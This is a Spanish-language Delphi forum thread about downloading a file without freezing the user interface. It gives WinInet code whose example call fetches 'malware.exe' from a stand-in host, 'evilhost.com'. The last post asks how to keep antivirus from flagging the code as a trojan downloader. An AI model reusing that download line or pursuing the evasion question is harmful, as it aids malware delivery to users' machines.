Hola..
Mi problema es este,he estado buscando como descargar archivos de internet encontre el metodo de usar el componente idHTTP pero al descargar el form deja de responder unos segundo..y lo que quiero es que el form aun cuando este descargando el form se pueda usar.
Alguien sabe alguna otra manera de descargar un archivo con codigo y sin componente para que el form se pueda usar aunque este descargando?
Espero su ayuda,Saludos..
Saludos
Descargar Archivo de internet
Comenzado por
BrainDeath
, oct 27 2009 10:38
3 respuestas en este tema
#1
Escrito 27 octubre 2009 - 10:38
#2
Escrito 28 octubre 2009 - 01:24
...mm pues usando la búsqueda te encontraras con este hilo donde encontraras dos formas distintas de hacerlo y si quieres leer de una página este otro
Por otro lado, siempre puedes trasladar tu código, sea el que sea, a un thread con lo que evitarás los cortes en la aplicación.
Saludos.
Por otro lado, siempre puedes trasladar tu código, sea el que sea, a un thread con lo que evitarás los cortes en la aplicación.
Saludos.
#3
Escrito 28 octubre 2009 - 05:35
autor: ajpdsoft
delphi
program Download; uses Windows, WinInet; function ExtractFileName(FileName: string): string; begin while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName)); while Pos('/', FileName) <> 0 do Delete(FileName, 1, Pos('/', FileName)); Result := FileName; end; function DescargarFichero(const fileURL, FileName: String): boolean; const BufferSize = 1024; var hSession, hURL: HInternet; Buffer: array[1..BufferSize] of Byte; BufferLen: DWORD; f: File; sAppName: string; begin Result:=False; sAppName := ExtractFileName(paramstr(0)); hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); try hURL := InternetOpenURL(hSession, PChar(fileURL), nil,0,0,0); try AssignFile(f, FileName); Rewrite(f,1); repeat InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen); BlockWrite(f, Buffer, BufferLen); until BufferLen = 0; CloseFile(f); Result:=True; finally InternetCloseHandle(hURL); end; finally InternetCloseHandle(hSession); end; end; begin DescargarFichero('[url=http://www.evilhost.com/malware.exe]www.evilhost.com/malware.exe[/url]', 'malware.exe'); end.
#4
Escrito 28 octubre 2009 - 06:39
autor: ajpdsoft
delphi
program Download; uses Windows, WinInet; function ExtractFileName(FileName: string): string; begin while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName)); while Pos('/', FileName) <> 0 do Delete(FileName, 1, Pos('/', FileName)); Result := FileName; end; function DescargarFichero(const fileURL, FileName: String): boolean; const BufferSize = 1024; var hSession, hURL: HInternet; Buffer: array[1..BufferSize] of Byte; BufferLen: DWORD; f: File; sAppName: string; begin Result:=False; sAppName := ExtractFileName(paramstr(0)); hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); try hURL := InternetOpenURL(hSession, PChar(fileURL), nil,0,0,0); try AssignFile(f, FileName); Rewrite(f,1); repeat InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen); BlockWrite(f, Buffer, BufferLen); until BufferLen = 0; CloseFile(f); Result:=True; finally InternetCloseHandle(hURL); end; finally InternetCloseHandle(hSession); end; end; begin DescargarFichero('[url=http://www.evilhost.com/malware.exe]www.evilhost.com/malware.exe[/url]', 'malware.exe'); end.
Se ve bueno este codigo, pero al probar el codigo el antivirus me lo detecta como trojandownloader alguna solucion a esto?
Saludos...